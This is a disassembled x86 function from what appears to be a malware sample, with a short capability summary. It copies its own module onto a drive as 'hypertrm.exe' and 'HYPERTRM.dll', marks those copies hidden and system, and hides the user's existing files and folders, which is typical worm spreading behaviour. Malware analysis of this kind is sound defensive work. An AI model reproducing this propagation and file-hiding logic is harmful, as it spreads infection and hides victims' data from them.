Function at 0x10067a20
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10098e31
mov eax, dword fs:[0]
push eax
mov eax, 0x252c
call fcn.1008ba80
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2534], edx
mov ebx, ecx
mov dword [ebp - 0x2528], ebx
push 0
push 0
mov dword [ebp - 0x251c], 0
call fcn.1006f590
mov dword [ebp - 0x2520], eax
push 0
mov dword [ebp - 4], 0
push 0
mov dword [ebp - 0x2518], 0
mov dword [ebp - 0x2514], 0
call fcn.1006f590
mov dword [ebp - 0x2518], eax
xor eax, eax
mov dword [ebp - 0x2294], 7
mov dword [ebp - 0x2298], 0
mov word [ebp - 0x22a8], ax
mov byte [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x2524], eax
mov dword [ebp - 0x252c], eax
movzx eax, word [ecx + str.System_Volume_Information]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1292], ax
test ax, ax
jne 0x10067ad2
lea ecx, [ebp - 0x1290]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10067af2
sub ecx, edx
mov eax, 0x20
sar ecx, 1
lea edx, [ebp - 0x1290]
mov esi, str.Recycler
mov word [ebp + ecx*2 - 0x1290], ax
inc ecx
lea edx, [edx + ecx*2]
mov edi, edx
sub edi, esi
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [edi + esi - 2], ax
test ax, ax
jne 0x10067b21
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10067b34
sub edx, esi
mov eax, 0x20
sar edx, 1
add ecx, edx
mov word [ebp + ecx*2 - 0x1290], ax
lea ecx, [ecx*2 + 2]
cmp ecx, 0x800
jae 0x10068482
xor eax, eax
mov word [ebp - 0xa90], bx
mov word [ebp + ecx - 0x1290], ax
xor ecx, ecx
mov dword [ebp - 0xa8e], 0x5c003a
mov word [ebp - 0x58], ax
movzx eax, word [ecx + str.hypertrm.exe]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x292], ax
test ax, ax
jne 0x10067b86
lea ecx, [ebp - 0x290]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10067ba6
sub ecx, edx
sar ecx, 1
lea ebx, [ecx - 4]
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + 0x100c6850]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0xa8c], ax
test ax, ax
jne 0x10067bc0
lea eax, [ebp - 0x2510]
push eax
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10067d3c
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea esp, [esp]
mov edx, 0x100c6858
lea ecx, [ebp - 0x24e4]
jmp 0x10067c10
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x10067c36
test ax, ax
je 0x10067c32
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x10067c36
add ecx, 4
add edx, 4
test ax, ax
jne 0x10067c10
xor eax, eax
jmp 0x10067c3b
sbb eax, eax
or eax, 1
test eax, eax
je 0x10067d23
mov ecx, 0x100c685c
lea eax, [ebp - 0x24e4]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10067c76
test dx, dx
je 0x10067c72
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10067c76
add eax, 4
add ecx, 4
test dx, dx
jne 0x10067c50
xor eax, eax
jmp 0x10067c7b
sbb eax, eax
or eax, 1
test eax, eax
je 0x10067d23
mov eax, dword [ebp - 0x2510]
test al, 6
jne 0x10067d23
sub esp, 8
lea edx, [ebp - 0x58]
push eax
lea eax, [ebp - 0x24e4]
push eax
push ecx
lea eax, [ebp - 0x1290]
push eax
push ecx
lea eax, [ebp - 0xa90]
push eax
lea eax, [ebp - 0x290]
push ebx
push eax
call fcn.100677f0
add esp, 0x28
test eax, eax
je 0x10067d23
cmp word [ebp - 0x24e4], 0
jne 0x10067cd1
xor ecx, ecx
jmp 0x10067cef
lea ecx, [ebp - 0x24e4]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10067ce0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x24e4]
push eax
lea ecx, [ebp - 0x22a8]
call fcn.10063b40
lea eax, [ebp - 0x2504]
push eax
push dword [ebp - 0x2510]
lea edx, [ebp - 0x22a8]
lea ecx, [ebp - 0x2520]
call fcn.10066f10
add esp, 8
lea eax, [ebp - 0x2510]
push eax
push esi
call edi
test eax, eax
jne 0x10067c00
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x10], 0
ja 0x10067d4c
cmp dword [ebp + 0x14], 0
jbe 0x10067f7d
mov ecx, dword [ebp - 0x2294]
cmp ecx, 1
jae 0x10067d70
push dword [ebp - 0x2298]
lea ecx, [ebp - 0x22a8]
push 1
call fcn.10064050
mov ecx, dword [ebp - 0x2294]
cmp ecx, 8
lea eax, [ebp - 0x22a8]
mov ecx, dword [ebp - 0x2528]
cmovae eax, dword [ebp - 0x22a8]
push 0x3a
push 1
mov word [eax], cx
lea eax, [ebp - 0x22a8]
cmp dword [ebp - 0x2294], 8
mov dword [ebp - 0x2298], 1
cmovae eax, dword [ebp - 0x22a8]
xor ecx, ecx
mov word [eax + 2], cx
lea ecx, [ebp - 0x22a8]
call fcn.1006f250
lea eax, [ebp - 0x2510]
push eax
lea edx, [ebp - 0x22a8]
lea ecx, [ebp - 0x2518]
call fcn.10067090
lea ecx, [ebp - 0x2518]
call fcn.1006f7b0
mov eax, dword [ebp - 0x2518]
mov edi, dword [eax]
cmp edi, eax
je 0x10067f7d
nop
push 0xffffffffffffffff
push 3
lea ecx, [ebp - 0x22c0]
push ecx
lea ecx, [edi + 0x10]
call fcn.1006ee30
mov esi, eax
lea eax, [ebp - 0x22a8]
cmp eax, esi
je 0x10067e9b
cmp dword [ebp - 0x2294], 8
jb 0x10067e2a
push dword [ebp - 0x22a8]
call fcn.1007b706
add esp, 4
xor eax, eax
mov dword [ebp - 0x2294], 7
mov dword [ebp - 0x2298], 0
mov word [ebp - 0x22a8], ax
cmp dword [esi + 0x14], 8
jae 0x10067e68
mov eax, dword [esi + 0x10]
inc eax
je 0x10067e76
add eax, eax
push eax
lea eax, [ebp - 0x22a8]
push esi
push eax
call fcn.1007a990
add esp, 0xc
jmp 0x10067e76
mov eax, dword [esi]
mov dword [ebp - 0x22a8], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x2298], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x2294], eax
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
cmp dword [ebp - 0x22ac], 8
jb 0x10067eb2
push dword [ebp - 0x22c0]
call fcn.1007b706
add esp, 4
mov ecx, dword [ebp - 0x2520]
mov eax, dword [ecx]
cmp eax, ecx
je 0x10067f2c
mov edi, edi
cmp dword [eax + 0x24], 8
lea ecx, [eax + 0x10]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x2530], edx
jb 0x10067ed4
mov ecx, dword [ecx]
cmp dword [ebp - 0x2294], 8
lea esi, [ebp - 0x22a8]
mov ebx, edx
cmovae esi, dword [ebp - 0x22a8]
cmp dword [ebp - 0x2298], edx
cmovb ebx, dword [ebp - 0x2298]
test ebx, ebx
jne 0x10068210
xor ecx, ecx
test ecx, ecx
jne 0x10067f22
mov edx, dword [ebp - 0x2530]
mov ebx, dword [ebp - 0x2298]
cmp ebx, edx
jb 0x10067f22
cmp ebx, edx
setne cl
test ecx, ecx
je 0x1006822f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x2520]
jne 0x10067ec0
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov dword [eax], esi
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
dec dword [ebp - 0x2514]
cmp dword [edi + 0x24], 8
jb 0x10067f52
push dword [edi + 0x10]
call fcn.1007b706
add esp, 4
xor eax, eax
mov dword [edi + 0x24], 7
mov dword [edi + 0x20], 0
push edi
mov word [edi + 0x10], ax
call fcn.1007b706
add esp, 4
mov edi, esi
cmp edi, dword [ebp - 0x2518]
jne 0x10067df0
cmp dword [ebp - 0x251c], 0
je 0x10068400
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x290]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0xa8c], ax
test ax, ax
jne 0x10067f90
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x2510], eax
cmp eax, 0xffffffff
jne 0x1006816f
push 0x400
lea eax, [ebp - 0x2290]
push eax
push dword [ebp - 0x2534]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
movzx eax, word [ebp + ecx - 0xa90]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1a92], ax
test ax, ax
jne 0x10067fe4
lea eax, [ebp - 0x1a90]
push 0x5c
push eax
call fcn.1007b43d
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, eax
add esp, 8
test edx, edx
je 0x1006804f
mov ecx, str.HYPERTRM.dll
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx], ax
test ax, ax
jne 0x10068020
push 1
lea eax, [ebp - 0x1a90]
push eax
lea eax, [ebp - 0x2290]
push eax
call edi
push 0x86
lea eax, [ebp - 0x1a90]
push eax
call ebx
lea eax, [ebp - 0x2290]
push 0x5c
push eax
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006809f
mov ecx, str.hypertrm.exe
sub edx, ecx
lea ecx, [ecx]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx], ax
test ax, ax
jne 0x10068070
push 1
lea eax, [ebp - 0xa90]
push eax
lea eax, [ebp - 0x2290]
push eax
call edi
push 0x86
lea eax, [ebp - 0xa90]
push eax
call ebx
xor ecx, ecx
movzx eax, word [ebp + ecx - 0xa90]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1a92], ax
test ax, ax
jne 0x100680a1
lea eax, [ebp - 0x2290]
push 0x2e
push eax
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006816f
mov ecx, 0x100c688c
sub edx, ecx
jmp 0x100680e0
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx], ax
test ax, ax
jne 0x100680e0
lea eax, [ebp - 0x1a90]
push 0x5c
push eax
call fcn.1007b43d
mov esi, eax
add esp, 8
test esi, esi
je 0x1006816f
add esi, 2
mov ecx, str.hypertrm.exe
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx - 2], ax
test ax, ax
jne 0x10068112
push 0x2e
push esi
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006816f
mov ecx, 0x100c688c
sub edx, ecx
lea ebx, [ebx]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx], ax
test ax, ax
jne 0x10068140
push 1
lea eax, [ebp - 0x1a90]
push eax
lea eax, [ebp - 0x2290]
push eax
call edi
push 0x86
lea eax, [ebp - 0x1a90]
push eax
call ebx
mov eax, dword [ebp - 0x2528]
xor ecx, ecx
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], 0x5c003a
jmp 0x10068190
movzx eax, word [ebp + ecx - 0x290]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x40], ax
test ax, ax
jne 0x10068190
mov eax, 0x2e
xor ecx, ecx
mov word [ebp - 0x88], ax
jmp 0x100681c0
movzx eax, word [ebp + ecx - 0x40]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x88], ax
test ax, ax
jne 0x100681c0
cmp dword [ebp + 0x10], 0
jne 0x100682e7
cmp dword [ebp + 0x14], 0
jne 0x100682e7
mov eax, dword [ebp - 0x2520]
mov esi, dword [eax]
cmp esi, eax
je 0x10068400
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop
cmp dword [esi + 0x24], 8
lea edi, [esi + 0x10]
jb 0x10068259
mov eax, dword [edi]
jmp 0x1006825b
mov dx, word [esi]
cmp dx, word [ecx]
jne 0x10068224
add esi, 2
add ecx, 2
dec ebx
jmp 0x10067ef9
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x10067f01
cmp eax, dword [ebp - 0x2520]
je 0x10067f2c
lea eax, [ebp - 0x22a8]
lea ecx, [edi + 0x10]
cmp ecx, eax
je 0x10068252
push 0xffffffffffffffff
push 0
push eax
call fcn.10063d90
mov edi, dword [edi]
jmp 0x10067f71
mov eax, edi
lea ecx, [ebp - 0x290]
push ecx
push eax
call ebx
test eax, eax
je 0x100682d4
cmp dword [edi + 0x14], 8
jb 0x10068273
mov ecx, dword [edi]
jmp 0x10068275
mov ecx, edi
lea edx, [ebp - 0xa8a]
jmp 0x10068280
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x10068280
cmp dword [edi + 0x14], 8
jb 0x10068299
mov edi, dword [edi]
mov ecx, dword [ebp - 0x2528]
lea eax, [ebp - 0x1290]
push eax
push dword [esi + 0x28]
lea eax, [ebp - 0x88]
push edi
push eax
lea edx, [ebp - 0x44]
call fcn.10066930
add esp, 0x10
test eax, eax
je 0x100682d4
mov eax, dword [esi + 0x28]
or eax, 6
push eax
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [esi]
cmp esi, dword [ebp - 0x2520]
jne 0x10068200
jmp 0x10068400
mov eax, dword [ebp - 0x2518]
mov esi, dword [eax]
cmp esi, eax
je 0x10068400
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea ecx, [ecx]
cmp dword [esi + 0x24], 8
lea edi, [esi + 0x10]
jb 0x1006830d
mov eax, dword [edi]
jmp 0x1006830f
mov eax, edi
lea ecx, [ebp - 0x290]
push ecx
push eax
call ebx
test eax, eax
je 0x100683f1
mov eax, dword [esi + 0x28]
and eax, 0x10
je 0x10068338
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10068353
cmp dword [ebp - 0x2524], ecx
jb 0x10068353
test eax, eax
jne 0x100683f1
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x10068353
cmp dword [ebp - 0x252c], eax
jae 0x100683f1
cmp dword [edi + 0x14], 8
jb 0x1006835d
mov ecx, dword [edi]
jmp 0x1006835f
mov ecx, edi
lea edx, [ebp - 0xa8a]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x10068365
cmp dword [edi + 0x14], 8
jb 0x1006837e
mov edi, dword [edi]
mov ecx, dword [ebp - 0x2528]
lea eax, [ebp - 0x1290]
push eax
push dword [esi + 0x28]
lea eax, [ebp - 0x88]
push edi
push eax
lea edx, [ebp - 0x44]
call fcn.10066930
add esp, 0x10
test eax, eax
je 0x100683f1
mov eax, dword [esi + 0x28]
or eax, 6
push eax
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test byte [esi + 0x28], 0x10
mov edx, dword [ebp - 0x2524]
mov ecx, dword [ebp - 0x252c]
je 0x100683d4
inc edx
mov dword [ebp - 0x2524], edx
jmp 0x100683db
inc ecx
mov dword [ebp - 0x252c], ecx
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100683f1
cmp edx, eax
jb 0x100683f1
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x100683f1
cmp ecx, eax
jae 0x10068400
mov esi, dword [esi]
cmp esi, dword [ebp - 0x2518]
jne 0x10068300
nop
cmp dword [ebp - 0x2294], 8
jb 0x10068417
push dword [ebp - 0x22a8]
call fcn.1007b706
add esp, 4
xor eax, eax
mov dword [ebp - 0x2294], 7
lea ecx, [ebp - 0x2518]
mov dword [ebp - 0x2298], 0
mov word [ebp - 0x22a8], ax
call fcn.1006f450
push dword [ebp - 0x2518]
call fcn.1007b706
add esp, 4
lea ecx, [ebp - 0x2520]
call fcn.1006f450
push dword [ebp - 0x2520]
call fcn.1007b706
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007a730
mov esp, ebp
pop ebp
ret
call fcn.1007b843
int3